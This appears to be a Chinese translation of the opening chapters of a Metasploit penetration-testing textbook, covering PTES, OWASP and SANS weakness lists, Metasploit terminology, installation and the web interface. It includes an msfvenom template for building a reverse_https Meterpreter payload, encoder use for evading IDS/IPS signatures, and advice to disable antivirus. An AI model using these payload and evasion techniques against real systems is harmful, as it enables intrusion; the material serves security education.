·业务连续性计划和灾难恢复。 ·安全意识培训。 ·外包安全问题。 ·知识库。 ·安全评估项目在法律方面的考量。 ·保密协议（Non-disclosure Agreement，NDA）。 ·安全评估合同。 ·征求建议书模板。 ·桌面安全检查清单——Windows。 ·Linux安全检查清单。 ·Solaris操作系统安全检查清单。 ·默认端口-防火墙。 ·默认端口-IDS/IPS。 未知 1.5.4 PTES 该标准是使用最广泛的标准，几乎涵盖了所有与渗透测试相关的内容。 PTES分为七个阶段： ·测试前交互。 ·情报收集。 ·威胁建模。 ·漏洞分析。 ·漏洞利用。 ·后渗透利用。 ·报告。 下面简要看一下每个阶段都包含哪些内容。 1.5.4.1 测试前交互 测试前交互是在项目开始之前进行的交流，例如定义测试范围，通常涉及确定目标IP、Web应用程序、无线网络等。 确定测试范围之后，将在测试双方之间建立沟通渠道，并确定事件报告流程。这些交互还包括状态更新、电话通话、法律程序以及项目的开始和结束时间。 1.5.4.2 情报收集 情报收集过程用于收集有关目标的尽可能多的信息。这是渗透测试中最关键的环节，因为我们拥有的信息越多，可用于执行的攻击媒介就越多。如果是白盒测试，客户会提供所有这些信息给测试团队。 1.5.4.3 威胁建模 威胁建模是一个过程，通过该过程可以识别和枚举潜在威胁，并可以确定缓解的优先级。威胁建模取决于所收集信息的数量和质量；利用这些信息，可以将过程分为多个阶段，然后使用自动化工具和逻辑攻击来执行这些阶段。 图1-3所示是威胁模型的思维导图。 图 1-3 资料来源：http://www.pentest-standard.org/index.php/Threat_Modelling。 授权许可：GNU自由文档许可证1.2。 下面来看漏洞分析。 1.5.4.4 漏洞分析 漏洞分析是发现攻击者可以利用的缺陷的过程。这些缺陷可能涉及从开放端口和服务错误配置到SQL注入的任何问题。有许多工具有助于执行漏洞分析，例如Nmap、Acunetix和Burp Suite。基本上每隔几周都会有新工具发布。 1.5.4.5 漏洞利用 漏洞利用是指通过规避基于脆弱性评估的保护机制来获得对系统进行访问的过程。漏洞利用可以是公开的，也可以是0-Day（未公开的）。 1.5.4.6 后渗透利用 后渗透利用的目标是确定危害的严重性，然后保持访问权限以备将来使用。这个阶段必须始终遵循保护客户和保护自己的原则（根据活动需要来掩盖痕迹）。 1.5.4.7 报告 报告是最重要的阶段之一，因为修复所有问题完全取决于报告中提供的详细信息。报告必须包含三个关键要素： ·漏洞的严重性。 ·复现该漏洞所需的步骤。 ·补丁建议。 总而言之，渗透测试生命周期的阶段可以通过图1-4所示的方式呈现。 图 1-4 在下一节中，我们将讨论通用缺陷列表（Common Weakness Enumeration，CWE）和两个顶级CWE。"},
    {"text": "未知 1.6 通用缺陷列表 在本节中，我们将讨论通用缺陷列表（CWE）。CWE是一个通用的在线词典，它收录了在计算机软件中发现的缺陷。本节将介绍两个著名的CWE——OWASP Top 10和SANS Top 25。 未知 1.6.1 OWASP Top 10 OWASP（开放Web应用安全项目）是一个公开的组织，为计算机和Internet应用提供公正、现实且具有成本效益的信息。 2020年的Top 10列表如下： ·注入（injection）。 ·认证暴破（broken authentication）。 ·敏感数据泄露（sensitive data exposure）。 ·XML外部实体（XML External Entities，XXE）。 ·访问控制暴破（broken access control）。 ·错误的安全配置（security misconfiguration）。 ·跨站脚本（Cross-Site Scripting，XSS）。 ·不安全的反序列化（insecure deserialization）。 ·使用含有已知漏洞的组件（using component with known vulnerability）。 ·日志记录和监控不足（insufficient logging and monitoring）。 未知 1.6.2 SANS Top 25 SANS Top 25是由SANS研究所、MITRE与美国和欧洲的许多顶级软件安全专家合作完成的。它包含以下漏洞： ·SQL命令中特殊元素的不当使用（SQL注入，SQL injection）。 ·OS命令中特殊元素的不当使用（OS命令注入，OS command injection）。 ·使用缓冲区复制时不检查输入的大小（经典缓冲区溢出，classic buffer overflow）。 ·跨站脚本（Cross-Site Scripting，XSS）。 ·缺少对关键功能的验证（missing authentication for a critical function）。 ·缺少授权（missing authorization）。 ·使用硬编码凭证（use of hardcoded credential）。 ·敏感数据未加密（missing encryption of sensitive data）。 ·不限制上传危险类型的文件（unrestricted upload of a file of a dangerous type）。 ·安全决策中依赖不受信任的输入（reliance on untrusted inputs in a security decision）。 ·以不必要的特权执行（execution with unnecessary privilege）。 ·跨站请求伪造（cross-site request forgery，CSRF）。 ·路径遍历（improper limitation of a pathname to a restricted directory，path traversal）。 ·下载的代码未经完整性检查（the downloading of code without an integrity check）。 ·不正确的授权（incorrect authorization）。 ·包含来自不受信任的控制领域的功能（inclusion of a functionality from an untrusted control sphere）。 ·关键资源的权限分配不正确（incorrect permission assignment for a critical resource）。 ·使用具有潜在危险的功能（use of a potentially dangerous function）。 ·使用损坏或有风险的密码算法（use of a broken or risky cryptographic algorithm）。 ·缓冲区大小计算错误（incorrect calculation of buffer size）。 ·过度的身份验证尝试限制不当（improper restriction of excessive authentication attempts）。 ·URL重定向到不受信任的站点（URL redirection to an untrusted site，open redirect）。 ·不受控制的字符串格式（uncontrolled format string）。 ·整数上溢或下溢（integer overflow or wraparound）。 ·使用无盐的单向散列（use of a one-way hash without a salt）。 ·在本书的后续章节中，我们将详细介绍其中一些漏洞。 未知 1.7 小结 在本章中，我们首先介绍了渗透测试及其类型和阶段，以及渗透测试的方法和生命周期，并学习了一些重要的术语。然后，我们学习了OWASP Top 10和SANS Top 25缺陷列表。 在下一章中，我们将学习Metasploit的基础知识，包括Metasploit框架、安装和设置。 未知 1.8 问题 1.是否有一个数据库可以维护CWE列表？ 2.在哪里可以找到OWASP Top 10和SANS Top 25缺陷列表？ 3.执行渗透测试所需的工具是否免费？ 4.基于OSSTMM和PTES的渗透测试有何不同？ 未知 1.9 拓展阅读 ·安全与开放方法研究所（ISECOM）：http://www.isecom.org/。 ·渗透测试标准网站：http://www.pentest-standard.org/index.php/Main_Page。 未知 第2章 Metasploit基础知识 Metasploit项目是用于渗透测试以及IDS签名捕获的工具。此项目下有Metasploit Framework子项目，该子项目是开源的，可以免费使用。它具有针对目标开发和执行漏洞利用代码的能力。Metasploit最初由H.D Moore于2003年创建，并于2009年被RAPID7收购。Metasploit Framework（MSF）是近十年来使用最广泛的工具之一。无论你是进行前期侦察还是后渗透利用，几乎都会用到Metasploit。 在本章中，我们将首先介绍MSF，并研究其相关术语。然后，我们将在不同的平台上安装和设置Metasploit，以便可以学习如何使用一些基本命令与MSF进行交互。 本章涵盖以下内容： ·MSF简介。 ·MSF术语。 ·Metasploit的安装和设置。 ·MSF入门。 未知 2.1 技术条件要求 以下是学习本章内容所需的技术条件： ·Metasploit Framework v5.0.74（https://github.com/rapid7/metasploitframework）。 ·基于*nix的系统或基于Microsoft Windows的系统。 ·Nmap。 未知 2.2 MSF简介 每当我们想要进行渗透测试或漏洞利用时，Metasploit都会是我们想到的第一个工具。MSF是Metasploit项目的子项目。Metasploit项目可以提供有关漏洞利用的信息，帮助我们进行渗透测试。 Metasploit首次出现在2003年，由H.D Moore使用Perl语言开发，后来在2007年使用Ruby语言进行了重构。2009年10月，RAPID7收购了Metasploit项目。然后推出了Metasploit Express和Metasploit Pro两个商业版本。这是MSF演变的开始。 MSF是一个开源框架，允许我们编写、测试和执行漏洞利用代码。也可以将其视为渗透测试和漏洞利用工具的集合。 在本章中，我们将介绍安装和使用MSF的基础知识。"},
    {"text": "未知 2.3 MSF术语 我们首先看一下MSF的基本术语，由于在本书中将经常使用这些术语，因此在深入研究MSF及其用法之前，最好对它们有全面的了解。 ·漏洞利用（exploit）： Metasploit启动时，会显示框架中已经公开可用的漏洞利用模块的数量。漏洞利用是一段利用漏洞为我们提供所需输出的代码。 ·载荷（payload）： 载荷是一段代码，通过漏洞利用把这段代码传递到目标系统或应用程序以执行我们想要的操作。载荷实际上可以分为三种主要类型：Single、Stager和Stage。 ·Single： 这类载荷是独立的，通常用于执行简单的任务，例如执行notepad.exe文件和添加用户。 ·Stager： 这类载荷用来在两个系统之间建立连接。然后，将Stage载荷下载到受害者的机器上。 ·Stage： Stage可以视为载荷的组件。它们提供了不同的功能，例如对命令shell的访问、运行可执行文件的能力以及上传和下载文件的功能，并且不受大小限制。Meterpreter就是一个Stage的例子。 其他类型的载荷如下所示： ·Inline（non-staged）： 包含用来执行特定任务的完整shellcode的利用代码。 ·Staged： Staged用来与Stage载荷一起执行特定任务。Stager在攻击者和受害者之间建立通信通道，并发送一个将在远程主机上执行的Staged载荷。 ·Meterpreter： 这是Meta Interpreter的缩写，通过DLL注入进行工作。它会加载到内存中，并且在磁盘上不会留下任何痕迹。Meterpreter在官方网站上的定义如下。 一种高级的、动态可扩展的载荷，它使用内存中的DLL注入Stager，并在运行时通过网络进行扩展。它通过Stager套接字进行通信并提供全面的客户端Ruby API。 ·PassiveX： 使用ActiveX控件创建IE浏览器的隐藏实例。通过HTTP请求和响应与攻击者进行通信。 ·NoNX： 用于绕过DEP保护。 ·Ord： 可以在所有Windows版本上使用的极小的载荷，但是不太稳定，并且在利用过程中依赖ws2_32.dll进行加载。 ·IPv6： 专门为在IPv6主机上使用而构建。 ·反射式DLL注入： 这是一种由Stephen Fewer创新的技术。利用这种技术，不用接触被攻破主机的硬盘驱动器，就可以将Staged载荷注入运行于内存中的进程。 ·辅助（auxiliary）： MSF拥有数百个辅助模块，可用于执行不同的任务。可以将这些模块视为不进行任何漏洞利用操作的小工具。在漏洞利用过程中辅助模块能起到很大的帮助作用。 ·编码器（encoder）： 编码器将信息（这里是指汇编指令）转换为另一种形式，该信息在执行后将给我们相同的结果。编码器用于将载荷传送到目标系统/应用程序时绕过检测。由于组织网络中的大多数IDS/IPS都是基于签名的，因此在对载荷进行编码时，它将更改整个签名并轻松绕过安全机制。最著名的编码器是x86/shikata_ga_nai。这是一个多态XOR累积反馈编码器（polymorphic XOR additive feedback encoder），这意味着它每次都会产生不同的输出，从而加大被检测到的难度。即便与多次迭代一起使用，它也仍然非常方便。但是，必须谨慎使用迭代，并且始终必须在使用前首先对其进行测试。它们可能无法按预期工作，并且随着每次迭代，载荷的大小都会增加。 ·NOP生成器： NOP生成器用于生成一系列随机字节，这些字节与传统的NOP sled（是指一系列不会有实际动作的NOP指令）等价，只是它们没有任何可预测的模式。NOP sled还可用于绕过标准IDS和IPS NOP sled签名（NOP Sled-\\x90\\x90\\x90）。 ·项目（project）： 这是一个容器，用于在渗透测试活动期间存储数据和凭证。它在Metasploit Pro版本中更常用。 ·工作区（workspace）： 工作区与项目相同，但仅在MSF中使用。 ·任务（task）： 是我们在Metasploit中执行的任何操作。 ·侦听器（listener）： 侦听器等待来自被利用目标的传入连接并管理已连接的目标Shell。 ·Shell： Shell是一个控制台，就像一个接口，它使我们可以访问远程目标。 现在我们已经了解了基本术语，接下来让我们看一下如何安装Metasploit并进行设置。 未知 2.4 安装与设置Metasploit 安装Metasploit非常简单，并且支持不同的操作系统。Metasploit可以安装在以下操作系统上： ·基于*nix的系统（Ubuntu、macOS等）。 ·基于Windows的系统。 对于所有支持的操作系统，安装Metasploit的步骤几乎相同。唯一的区别是当需要通过命令行进行安装时，所使用的命令会不同。"},
    {"text": "未知 2.4.1 在*nix系统上安装MSF 在开始使用Metasploit之前，我们需要先安装它。安装步骤如下： 1）可以通过下载并执行适用于Linux和macOS系统的Metasploit Nightly Installer或使用以下命令（CLI）在*nix上安装Metasploit： 图2-1显示了上述命令的输出： 图 2-1 上面的命令将下载一个Shell脚本，该脚本将导入RAPID7签名密钥（PGP）并安装所有支持Linux和macOS系统所需的软件包，如图2-2所示。 图 2-2 2）一旦安装过程完成，运行Metasploit就非常简单了，只需在终端中输入以下命令： 图2-3显示了上述命令的输出。 图 2-3 注意：Metasploit Framework v5.0.0已发布，具有许多新功能。你可以在https://blog.rapid7.com/2019/01/10/metasploit-framework-5-0-released/上查看这些功能。 现在，我们应该看到MSF已启动并正常运行。首次加载MSF控制台时，它将自动使用PostgreSQL创建数据库。当我们执行扫描、漏洞利用等操作时，会使用此数据库存储收集的所有数据。 3）基本上Metasploit每周都会更新漏洞利用/辅助模块，因此，最好每两周更新一次Metasploit。可以通过使用以下命令进行更新： 图2-4显示了上述命令的输出。 图 2-4 在撰写本书时，MSF拥有1991个漏洞利用模块、1089个辅助模块、340个后渗透模块、560个载荷模块、45个编码器模块、10个nop和7个逃逸（evasion）模块。 未知 2.4.2 在Windows上安装MSF 我们已经学习了如何在基于*nix的系统上安装MSF，接下来让我们快速看一下如何在Windows环境中安装MSF： 1）首先，需要从以下URL下载适用于Windows的Nightly安装程序： 输入此URL后，你应该可以看到图2-5所示的输出。 图 2-5 2）下载完成后，我们可以双击MSI文件进行安装，如图2-6所示，将打开一个新窗口。 3）我们需要按照标准的安装步骤（“Next”“Next”“I Agree”等）在Windows上安装Metasploit，如图2-6所示。 建议你仔细阅读该工具的条款和条件。 安装完成后，我们仍无法从命令行提示符下运行Metasploit，如图2-7所示。这是因为尚未设置环境变量，所以在执行命令时系统不知道去哪里寻找msfconsole二进制文件。 4）在本示例中，可以在以下路径中找到msfconsole二进制文件： 在图2-8中可以看到上述命令的输出。 图 2-6 图 2-7 图 2-8 5）现在，我们需要通过输入以下命令将此目录添加到环境变量中： 如图2-9所示。 图 2-9 设置好环境变量后，我们就能够通过命令提示符启动Metasploit了，如图2-10所示。 图 2-10 运行上述命令将启动Metasploit及其控制台。现在，我们已经可以访问MSF控制台，让我们开始学习MSF的基础知识吧。 未知 2.5 MSF入门 安装完成后，我们可以先看一下MSF的用法。与MSF交互的最常见方式是使用msfconsole命令。控制台提供了所有功能和选项，可以非常简单地通过命令行使用，以进行有效的测试和利用（渗透）。 未知 2.5.1 使用msfconsole与MSF交互 你可以使用msfconsole命令在正常模式下与MSF控制台进行交互，也可以在静默模式（quiet mode）下运行MSF控制台命令。这些模式之间的唯一区别是控制台会不会显示错误、警告和标识（banner）。在正常模式下运行将显示很酷的MSF标识。你可以通过执行msfconsole -q命令实现在静默模式下与MSF控制台进行交互，如图2-11所示。 图 2-11 根据你自己的情况和需要，还有其他MSF控制台选项可供使用。例如，想要在没有任何数据库支持的情况下运行MSF控制台，可以始终执行msfconsole -qn命令。 如果尚未初始化数据库，则无法执行任何命令或加载任何带有db_前缀的插件，如图2-12所示。 图 2-12 当你尝试从控制台加载插件时，会出现图2-13所示的未初始化错误。 图 2-13 在这里，我们在msfconsole中使用了-x选项。你可能已经猜到了，此开关用于在控制台内执行MSF支持的命令。我们还可以在控制台中执行Shell命令，因为Metasploit将这些命令作为参数传递给默认的Shell，如图2-14所示。 图 2-14 在上面的命令中，我们从MSF控制台回显了WELCOME TO METASPLOIT FRAMEWORK字符串并退出。要查看所有可用选项，可以执行msfconsole -h命令。现在，让我们看一下MSF控制台中使用的最基本和最常见的命令。"},
    {"text": "·MSF作业管理命令： 使用这些命令，你可以处理Metasploit模块作业操作，例如使用处理程序创建作业，列出在后台运行的作业以及取消和重命名作业。"},
    {"text": "·资源脚本管理命令： 使用资源脚本时，可以通过这些命令在控制台中执行脚本。 你可以执行一个存储的脚本文件，也可以将MSF控制台启动时使用的命令存储到一个文件中。"},
    {"text": "·后台数据库命令： 这些命令用于管理数据库，也就是说，可以用来检查数据库连接、建立连接和断开连接、在MSF中还原/导入数据库、从MSF中备份/导出数据库，以及列出与目标有关的已保存信息。"},
    {"text": "1）可以在MSF启动时使用show options命令完成此操作，如图2-15所示。 图 2-15 2）我们可以从这些设置中更改提示（msf文本）。 要更改提示和提示字符，可以执行set Prompt和set PromptChar命令，如图2-16所示。 图 2-16 3）我们甚至可以使用一些扩展格式来设置更多高级提示，如图2-17所示。 图 2-17 表2-1是可以使用的扩展格式。 表 2-1 同样的格式也可以用于设置提示字符。"},
    {"text": "各种类使用datastore来保存选项值和其他状态信息，datastore有两种类型： ·datastore模块：此datastore仅保存与已加载模块有关的信息和选项（本地声明）。"},
    {"text": "图 2-18 从图2-19中可以看出，我们全局保存了RHOSTS选项的值192.168.2.17，这意味着在使用其他模块时，RHOSTS选项会默认使用这个值。"},
    {"text": "2.5.2.3 探索MSF模块 可以使用show命令查看MSF中可用的所有选项和模块。 1）要查看show命令的所有有效参数，你可以在MSF控制台中执行show -h命令，如图2-21所示。 图 2-21 2）要显示MSF中可用的辅助模块，可以使用show auxiliary命令，如图2-22所示。"},
    {"text": "另外，你可以按两次键盘上的Tab键以查看show命令的可用参数，如图2-23所示。 图 2-23 4）对于特定模块的参数，只需加载要使用的模块，然后执行show命令即可。 在本例中，我们使用了smb_version辅助模块，并按了两次Tab键以查看可用于show命令的所有参数，如图2-24所示。 图 2-24 5）我们可以使用show evasion命令查看该特定模块可用的所有逃逸选项，如图2-25所示。"},
    {"text": "图 2-26 我们还可以通过控制台使用/bin/bash -i命令或仅使用/bin/bash（-i开关用于以交互模式运行bash）从控制台执行交互式bash脚本，如图2-27所示。"},
    {"text": "2.5.2.5 在MSF中设置数据库连接 MSF的最炫酷功能之一是使用后端数据库来存储与目标有关的所有内容。 在运行MSF时，请按照以下步骤设置数据库： 1）使用控制台上的db_status命令检查数据库是否已连接到MSF，如图2-28所示。"},
    {"text": "图 2-36 在本例中，我们使用smb_version辅助模块： 1）通过执行auxiliary/scanner/smb/smb_version命令，将模块加载到控制台中，如图2-37所示。"},
    {"text": "可以使用show options命令查看smb_version的可用选项，如图2-38所示。 图 2-38 3）我们可以使用set/setg命令来配置模块选项，也可以使用smb_version的高级选项，通过使用show advanced命令显示，如图2-39所示。"},
    {"text": "图 2-44 接下来，我们将学习如何在MSF中检查主机和服务。 2.5.2.9 在MSF中检查主机和服务 到目前为止，我们已经介绍了msfconsole的基础知识。"},
    {"text": "1）要查看已添加的所有主机的列表，可以使用hosts命令，如图2-45所示。 图 2-45 2）要添加新主机，可以使用hosts -a <IP>命令，如图2-46所示。 图 2-46 3）要删除主机，可以使用hosts -d <IP>命令，如图2-47所示。"},
    {"text": "目前，MSF支持以下格式的数据导入数据库：Acunetix、Amap Log、Amap Log-m、Appscan、Burp Session XML、Burp Issue XML、CI、Foundstone、FusionVM XML、Group Policy Preferences Credentials、IP Address List、IP360 ASPL、IP360 XML v3、Libpcap Packet Capture、Masscan XML、Metasploit PWDump Export、Metasploit XML、Metasploit Zip Export、Microsoft Baseline Security Analyzer、NeXpose Simple XML、NeXpose XML Report、Nessus NBE Report、Nessus XML（v1）、Nessus XML（v2）、NetSparker XML、Nikto XML、Nmap XML、OpenVAS Report、OpenVAS XML、Outpost24 XML、Qualys Asset XML、Qualys Scan XML、Retina XML、Spiceworks CSV Export和Wapiti XML。"},
    {"text": "设置stageencoder和enablestageencoding选项以对处理程序发送给受害者的第二个stage进行编码，如图2-56所示。 图 2-56 首先，我们在选择编码器之前设置LHOST和LPORT，使用shikata_ga_nai编码器对Stager进行编码。"},
    {"text": "执行msfvenom -p <MSF支持的载荷> lhost = <IP> lport = <PORT> -f <输出文件格式> -o <载荷文件名>命令，可以EXE格式生成reverse_https Meterpreter载荷并保存文件，如图2-60所示。"},
    {"text": "未知 2.6 小结 在本章中，我们学习了MSF的基本术语，以及如何在基于*nix和Windows的系统上进行安装和配置。然后，我们研究了MSF的用法，加载了模块/辅助，设置了目标值，并针对某个主机运行。最后，我们学习了如何使用msfvenom生成载荷以进行利用。 在下一章中，我们将学习如何通过Web界面使用Metasploit，以帮助那些对命令行界面（CLI）不太了解的人。 未知 2.7 问题 1.MSF是免费的吗？ 2.我可以加密我的载荷，使它们能够规避防病毒软件吗？ 3.我正在使用MySQL作为渗透测试后端数据库，可以将MySQL或其他非PostgreSQL数据库与Metasploit集成吗？ 4.我的多个系统中都安装了MSF，可以集中为每个Metasploit实例使用同一个数据库吗？ 未知 2.8 拓展阅读 以下链接将帮助你找到有关Metasploit的更多信息，这些内容都来自其官方博客和文档： ·https://www.offensive-security.com/metasploit-unleashed/ ·http://resources.metasploit.com/ ·https://metasploit.help.rapid7.com/docs 未知 第3章 Metasploit Web界面 在第2章中，我们学习了Metasploit框架的基础知识，并研究了可以在Metasploit中使用的一些功能。本章将重点介绍Metasploit框架的Web界面。Web界面确实可以为那些对命令行界面（CLI）经验较少的用户提供帮助。从侦察到报告，Web界面使我们可以在单个界面处理渗透测试的所有阶段。在本章中，我们将学习如何安装和使用Metasploit Web界面。然后，我们将学习如何使用Web界面侦察和访问Meterpreter载荷。 本章将涵盖以下内容： ·Metasploit Web界面简介。 ·安装和设置Web界面。 ·Metasploit Web界面入门。 未知 3.1 技术条件要求 以下是本章所需的技术条件要求： ·带有Metasploit Web界面的Metasploit社区版（Community Edition，CE）。 ·基于*nix的系统或基于Microsoft Windows的系统。 未知 3.2 Metasploit Web界面简介 Metasploit Web界面是基于浏览器的界面，可以轻松访问导航菜单，并允许你为任务更改配置页面。可以在Metasploit Web界面中执行能在MSF中进行的每个任务，从使用辅助模块执行发现扫描到弹出Meterpreter。 对于喜欢使用图形用户界面（GUI）工具进行渗透测试的用户，可以选择使用Web界面的Metasploit。Web界面版本包括Metasploit社区版（免费）、Metasploit Pro（付费）、Metasploit Express（付费，已停产）和Nexpose Ultimate（付费，已停产）。不像Metasploit付费版本有许多更高级的功能，免费的社区版是最基本的版本。 未知 3.3 安装和设置Web界面 Metasploit Web界面的安装过程非常简单。 ·你可以从以下网址下载社区版：https://www.rapid7.com/products/metasploit/download/community/。 要开始安装过程，你需要填写下载Metasploit社区版所需的信息。之后，你将被重定向到下载页面，如图3-1所示。 图 3-1 注意：如果你不想填写表格，也可以直接下载Metasploit社区版，网址为https://www.rapid7.com/products/metasploit/download/community/thank-you。 你还可以从GitHub上RAPID7的存储库中下载，网址为https:///github.com/rapid7/metasploit-framework/wiki/Downloads-by-Version，但你将无法获得激活密钥。 未知 3.3.1 在Windows上安装Metasploit社区版 为了在Windows上成功安装Metasploit社区版，请按照下列步骤操作。 1）请确保已禁用系统上的防病毒系统（AV）和防火墙。防病毒系统通常会在Metasploit社区版中检测并标记某些文件为恶意文件，如图3-2所示。 2）如果正在运行Windows，请确保将Metasploit安装文件夹放在防病毒系统和防火墙的例外列表中。这样，你生成的载荷将从防病毒系统中排除，如图3-3所示。 图 3-2 图 3-3 3）由于可以通过Web界面（通过SSL）访问Metasploit社区版，因此请确保为SSL证书生成过程提供正确的Server Name（主机名），如图3-4所示。 图 3-4 4）安装完成后，你可以查看C:\\metasploit目录中的所有文件，如图3-5所示。 图 3-5 5）在开始使用Web界面之前，需要初始化用户。如果尝试使用主机名而不是localhost访问Web服务器，则会收到警告消息。要继续下一步，只需按照给出的说明进行操作，如图3-6所示。 图 3-6 6）需要通过执行C:\\metasploit目录下的createuser批处理脚本来初始化用户，如图3-7所示。 7）现在只剩下最后一步了。创建用户后，你将被重定向到激活页面。要激活社区版，需要获取产品密钥，可以从注册时使用的电子邮件中检索产品密钥（因为可以通过电子邮件接收激活码，所以注册是很重要的），如图3-8所示。 8）使用注册电子邮件收到的产品密钥激活Metasploit社区版，如图3-9所示。 图 3-7 图 3-8 成功激活后，你将被重定向到项目列表（Project Listing）页面，如图3-10所示。 在开始使用Metasploit Web界面之前，你需要对界面本身有一定的了解。 注意：试用密钥无法重复使用，并且将在14天后失效。 图 3-9 图 3-10"},
    {"text": "未知 3.3.2 在Linux/Debian上安装Metasploit社区版 要在Linux/Debian上成功安装Metasploit社区版，可以参照以下步骤： 1）下载Metasploit社区版Linux安装程序。你需要更改安装程序的执行权限，可以使用chmod命令完成此操作，如图3-11所示。 图 3-11 2）运行Linux安装程序，然后按照屏幕上显示的说明进行操作。安装完成后，将显示Web界面的URI，如图3-12所示。 图 3-12 3）你需要通过URI才能访问Web界面，如图3-13所示。默认情况下，URI为https://localhost:3790/。 图 3-13 4）安装和初始化过程完成后（通常需要几分钟），屏幕上会显示一条警告消息。按照屏幕上的说明通过diagnostic_shell脚本创建用户，如图3-14所示。 图 3-14 5）执行diagnostic_shell后，将为你的Shell设置Metasploit环境，然后就可以执行createuser脚本了。你将在Web界面中找到一个新用户设置页面，填写用户详细信息以创建一个账户，如图3-15所示。 图 3-15 6）从你的电子邮件中获取产品密钥，然后激活社区版，如图3-16所示。 注意，不支持32位Linux（包括Kali）和macOS。 接下来，我们开始使用Metasploit Web界面。 图 3-16 未知 3.4 Metasploit Web界面入门 Metasploit Web界面非常易于使用，对于缺乏命令行经验的测试人员来说有很大的帮助。在开始测试之前，让我们先了解一下这个界面。 未知 3.4.1 界面 Metasploit Web界面包括以下菜单： ·主菜单（main menu） ·项目标签栏（project tab bar） ·页面导航辅助（navigational breadcrumb） ·任务栏（tasks bar） 让我们逐个了解一下这些菜单。 3.4.1.1 主菜单 主菜单位于页面顶部。在主菜单中，你可以从Project菜单中访问项目设置，从Account菜单中访问账户设置，并从Administration菜单操作管理设置。 可以从通知中心查看所有告警，如图3-17所示。 让我们详细了解一下这些子菜单： ·Project菜单： 用于创建、编辑、打开和管理项目。 ·Account菜单： 用于管理账户信息，例如更改密码、设置时区和联系信息。 图 3-17 ·Administration菜单： 用于进行管理设置，例如更新系统、许可证密钥、编辑用户账户和配置全局设置。 ·通知中心： 在通知中心，你可以找到所有告警，例如指示任务已完成或有软件更新可用。单击告警将显示一个下拉菜单，其中包含所有项目的最新告警。 接下来，我们看一下项目标签栏。 3.4.1.2 项目标签栏 项目标签栏是位于主菜单正下方的选项卡菜单。可以通过选项卡菜单管理正在运行的项目、漏洞分析、已打开的Meterpreter/shell会话、网络钓鱼活动、Web应用程序测试、模块、凭证、报告、导出和任务概述，如图3-18所示。 图 3-18 让我们详细了解一下这些选项： ·Overview（概述）： 以图形的方式显示摘要信息，例如发现的主机和服务的数量以及获得的会话和凭证的数量。在我们运行扫描或导入主机之前，这里不会显示数据。 ·Analysis（分析）： 此选项使我们可以将大型网络/主机分类，从而更易于对它们进行管理和渗透利用。 ·Sessions（会话）： 显示我们在目标上的活动会话。 ·Campaigns（活动）： 此选项可让我们针对一组目标（包括电子邮件、网页、可移植文件等）创建、管理和进行社会工程学活动。 ·Web Apps（Web应用程序）： 这是Pro版本的功能，使我们可以扫描Web应用程序并识别漏洞。 ·Modules（模块）： 此选项使我们可以搜索可用的模块，查看其信息并在目标上执行它们。 ·Credentials（凭证）： 此选项使我们可以添加/编辑或删除通过渗透利用收集的凭证。 ·Reports（报告）： 这也是Pro版本的功能。此选项使我们可以查看和创建报告。 ·Exports（导出）： 此选项可以让我们将凭证之类的数据导出为多种格式，例如XML和ZIP。 ·Tasks（任务）： 此选项使我们可以管理当前正在运行的任务的状态。 接下来，我们将介绍页面导航辅助。 3.4.1.3 页面导航辅助 可以使用页面导航辅助（navigational breadcrumb）来标识你在项目中的当前位置，如图3-19所示。 图 3-19 页面导航辅助可以帮助我们更有效地工作。 3.4.1.4 任务栏 你可以使用任务栏（tasks bar）快速执行列出的任务，如图3-20所示。 接下来，我们将介绍如何创建项目。 图 3-20"},
    {"text": "未知 3.4.2 项目创建 正如Metasploit使用工作区来组织收集的数据一样，社区版使用项目来分离数据集。默认情况下，社区版内部有一个默认项目。如果你不创建自定义项目，则所做的所有操作都将保存在该项目下。 3.4.2.1 默认项目 每当我们使用Web界面时，所使用的第一个项目就是默认项目。该项目将向我们显示在默认项目处于活动状态时被扫描的主机数、维护的会话以及分配给主机的任务数。图3-21显示了标题为default的项目。 图 3-21 接下来，让我们学习如何创建自定义项目。 3.4.2.2 创建一个自定义项目 Metasploit社区版允许我们创建自定义项目： 1）这可以通过单击Projects菜单并选择New Project来完成，如图3-22所示。在这里，我们将指定项目详细信息，例如项目名称（Project name）、描述（Description）和网络范围（Network range）。 图 3-22 2）单击Create Project按钮后，将导航到项目仪表板页面。在这里，你将看到目前为止已执行的任务及其结果的摘要，如图3-23所示。 图 3-23 3）回到首页，你应该可以看到两个项目。一个是default，另一个是我们刚刚创建的Web Exploitation Project，如图3-24所示。 接下来我们将介绍目标枚举。 图 3-24 未知 3.4.3 目标枚举 现在我们已经创建了项目，让我们从枚举开始。有两种执行枚举的方法：使用Metasploit的内置扫描模块或导入由Nmap或MSF支持的其他工具完成的扫描。 3.4.3.1 使用内置的选项 Metasploit Web界面为我们提供了一些内置选项/模块，可用于在目标系统上执行枚举。请按照以下步骤使用内置选项执行枚举： 1）要使用内置选项，请在项目仪表板上单击Scan按钮，如图3-25所示。 图 3-25 2）在下一个页面中，输入要扫描的IP地址。还可以为扫描定义高级选项，例如要排除的端口和自定义范围，如图3-26所示。 图 3-26 3）可以通过单击Show Advanced Options按钮（单击后显示为Hide Advanced Options）来设置扫描的某些扩展功能，如图3-27所示。 图 3-27 4）设置完所有内容后，可以单击Launch Scan按钮启动扫描。该工具将使用你指定的选项在后台启动Nmap扫描，如图3-28所示。 5）可以通过依次单击Project→[WORKSPACE]→Hosts来查看主机，如图3-29所示。 如图3-30所示，已扫描的主机添加到了主机（Hosts）列表中。 6）要查看在扫描的主机上运行的服务，可以单击上一步中显示的主机，也可以单击Project→[WORKSPACE]→Services进行查看，如图3-31所示。 图 3-28 图 3-29 图 3-30 通过这两种方法，你都可以查看在被扫描的主机上运行的服务。但是，不建议你通过Web界面执行扫描，因为它使用的Nmap版本（版本4）很老旧。 3.4.3.2 导入扫描结果 我们也可以使用第三方工具进行枚举，并将结果导入MSF。请按照以下步骤导入扫描结果： 1）在通过Metasploit执行漏洞利用之前，最好先进行端口扫描和服务枚举。可以单独使用Nmap并使用-oX选项将扫描结果保存为XML格式，而不是使用Metasploit的内置端口扫描程序，如图3-32所示。 图 3-31 图 3-32 2）就像在msfconsole中使用的db_import命令一样，可以通过单击Import按钮在Metasploit Web界面中实现相同的功能，如图3-33所示。 图 3-33 3）单击Import按钮后，将重定向到导入数据（Import Data）页面，可以通过该页面导入数据。 4）可以从Nexpose、Sonar 以及第三方扫描工具（例如，Acunetix、Nessus、Nmap等）导入数据。在本例中，我们执行了完整的端口扫描，并将Nmap结果保存为XML格式，如图3-34所示。 图 3-34 5）可以启用自动标记（Automatic 